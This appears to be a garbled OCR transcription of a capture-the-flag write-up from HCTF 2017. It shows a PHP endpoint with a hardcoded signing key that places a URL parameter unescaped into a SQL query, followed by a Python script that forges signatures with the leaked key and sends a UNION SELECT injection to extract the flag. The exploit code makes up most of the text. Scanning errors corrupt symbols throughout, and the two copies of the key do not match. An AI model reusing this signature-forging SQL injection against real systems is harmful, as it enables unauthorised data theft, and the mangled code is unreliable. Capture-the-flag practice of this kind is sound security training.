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1 Disallow: /pspt/inf/queryUserRole.php
2 Sitemap: http://domain.com/sitemap.xml
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1 <?php

2 require once (dirname (dirname (dirname( FILE ))).'/config/config.game.php');
3 if (empty($ GET['user account']) || empty($ GET['valid date']) || empty($ GET['sign'])) {
4 die('errorl') ;

5}

6

7 Stime = time();

8 if (§ GET['valid date'] <= $time) {

9 die('error2') ;

10}

11

12 SencryKey = '7sl+kb9adDAc7gLuv31MeEFPBMJIZARZyAx9eEmXSTui4423hgGEXFipyM' ;
13 $flag = md5($_GET['user account'].$ GET['valid date'].s$encryKey);

14 if ($flag != § GET['sign']) {

15 die('error3') ;

16 }

17

18 Sarr = $ pm['mysql'] -> getOneRecord("SELECT id,nickname FROM player WHERE name = '{$ GET['user account']}'");
19

20if (!is array(sarr)) {

21 die('errord') ;

22}

23

24 Sstr = Sarr['id'].'&'.Sarr['nickname'] ;

25 Snewstr = iconv('utf8','utf-8',Sstr);

26 echo S$newstr;

27 unset (Stime, Sarr,Sstr) ;

28 2>
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import requests
import time

import hashlib
import urllib2

def getMd5 (data) :
data = str(data)
t = hashlib.md5()
t.update (data)

10 return t.hexdigest()
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12 def hack (payload="admin") :

13 user account = urllib2.quote (payload)

14 valid date = int(time.time())+10000

15 sign = getSign(user account, valid date)

16 url = "http://petgame.2017.hctf.io/pspt/inf/queryUserRole.php?user account="+str (user account)+"&valid date="+str (valid date)+"&sign="+sign
17 req = requests.get (url = url)

18 print req.content

19

20 def getSign (user account, valid date) :

21 user account = urllib2.unquote (user account)

22 encryKey = '7sl+kb9adDAc7gLuv31MeEFPBMIZARZyAx 9eEmXSTui4423hgGtXF1pyM'
23 sign = getMd>5 (str(user account) + str(valid date) + encryKey)

24 return sign

25

26 hack ("adminss' union all select 111,flag from hctf.flag2#")
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